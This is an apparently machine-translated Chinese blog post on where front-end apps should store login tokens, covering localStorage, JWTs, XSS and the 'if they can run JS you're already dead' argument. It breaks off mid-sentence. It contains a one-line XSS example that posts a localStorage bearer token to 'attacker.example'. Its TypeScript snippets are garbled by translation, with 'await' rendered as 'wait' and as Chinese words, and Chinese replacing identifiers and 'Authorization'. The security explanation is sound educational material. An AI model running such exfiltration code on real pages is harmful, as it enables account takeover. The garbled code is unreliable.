开发者生态
morning
在现代应用程序中进行身份验证的最佳方法是什么
2026-07-11
1 阅读
约7分钟阅读
freediver
字号:
目录 基础知识 XSS 对令牌做了什么“如果他们可以运行 JS,你就已经死了” 尝试二:将其保存在内存中 尝试三:httpOnly cookie CSRF 会话与 JWT JWT 在哪里工作 OAuth 将其连接到实际的 React 中 我们可以使其更安全吗?新威胁最终参考文献询问十个前端开发人员在哪里存储登录令牌,您将得到四个答案和一个论点。由于每种方法都解决不同的问题,因此争论仍在继续,但没有解决方案。因此,让我们一劳永逸地澄清一下:存储令牌的选项是什么,哪些是最安全的,以及用例是什么。我在免费前端安全课程中更深入地了解了 XSS 和 CSRF,但我想单独解决身份验证问题。我已经写了这些基础知识,你可能也有。每一篇“在一个下午构建一个全栈应用程序”的文章和教程都写过这个。用户提交登录表单;服务器检查密码并返回令牌。您将其放入 localStorage 中,并将其附加到此后的每个请求: async function login ( email : string , password : string ) { const res = wait fetch ( '/api/login' , { method: 'POST' , headers: { 'Content-Type' : 'application/json' }, body: JSON . stringify ({ email, password }), }); const { token } = 等待资源。 json();本地存储。 setItem('令牌',令牌); } async function fetchProfile () { const res = wait fetch( '/api/me' , { headers: { 授权: `Bearer ${ localStorage . getItem ( 'token' ) }` , }, });返回资源。 json();该令牌几乎总是 JWT。 JWT(JSON Web 令牌)是一个由点分隔的三部分组成的字符串:标头、有效负载和签名。有效负载包含有关用户的事实,例如他们的 ID,也可能是他们的角色。签名是一个印记,证明您的服务器产生了这个确切的有效负载并且没有人篡改它。 JWT 流行的秘诀在于服务器收到令牌时会执行的操作。它重新计算标记,检查其匹配,然后信任有效负载而不查找任何内容。用户的 ID 位于令牌内,并以加密方式进行担保,因此无需读取数据库行即可获取用户 ID 或验证用户。人们称之为“无国籍”。公平地说,这对教程来说是有效的。它能够在刷新后幸存下来,因为 localStorage 仍然存在,并且它避免了所有 cookie 带来的麻烦。 Authorization: Bearer 标头也可以干净地跨域传输,因此一个域上的应用程序可以毫不费力地调用另一个域上的 API。 JWT 可以工作,但我们编写的代码有一个问题:我们存储 JWT 的位置。 XSS 对 localStorage 令牌所做的事情有一个定义特征:页面上的任何 JavaScript 都可以读取所有内容。谁的 JavaScript 在您的页面上运行?当然是你的。还有您安装的每个 npm 软件包,以及这些软件包引入的每个软件包。您的分析片段。您的支持聊天小部件。浏览器扩展决定注入的任何内容。而且,事情发生的那一天,就是攻击者的。最后一个是 XSS。跨站点脚本意味着攻击者已经让他们的代码在您的页面上运行。通常通过一些乏味的东西:将用户文本呈现为 HTML 而不转义的注释字段、直接反映到 DOM 中的 URL 参数,或者在补丁版本中传送恶意代码的依赖项。当这种情况发生时,令牌就消失了一行: fetch ( 'https://attacker.example/collect' , { method: 'POST' , body: localStorage.getItem( 'token' ), });攻击者现在拥有了你的不记名令牌,而“不记名”是字面意思(它不是来自《熊》节目):谁拥有它就是你。服务器检查标记,看到有效的有效负载,然后打招呼。他们不再需要您的浏览器。他们不需要您打开标签。他们将该字符串粘贴到自己计算机上的脚本中,并且您的 API 将他们视为来自地球上任何地方的您,直到令牌过期(大多数情况下)。如果您像许多教程那样签署了 7 天有效期的令牌,那么这就是一个 7 天的万能密钥。你无法取消它,因为“无状态”的全部意义在于服务器不检查任何内容。攻击者接下来所做的一切都发生在他们的基础设施上,按照他们的时间表,你完全看不到。 “如果他们可以运行 JS,你就已经死了” 一个常见的说法是,如果攻击者可以在你的页面上运行 JavaScript,他们就已经可以做任何事情了。读取屏幕上的所有内容,触发来自用户浏览器的请求,使用浏览器附加的任何凭据。隐藏令牌不会改变任何事情。前半部分是真的。保护令牌并不能阻止 XSS。任何告诉您纯 HTTP cookie“防止 XSS”的人都是困惑或在兜售某些东西。但要看看攻击者在每种情况下所受到的限制,因为它们的情况不同。如果攻击者可以读取令牌,他们就会把它带回家。在标签关闭后,攻击会在令牌的整个生命周期内,从他们自己的机器上按照自己的节奏继续进行。如果攻击者无法读取令牌,他们只能乘坐实时会话。他们的脚本触发来自 insided 的请求
这篇文章对您有帮助吗?
订阅66必读
每日精选科技资讯,直达你的邮箱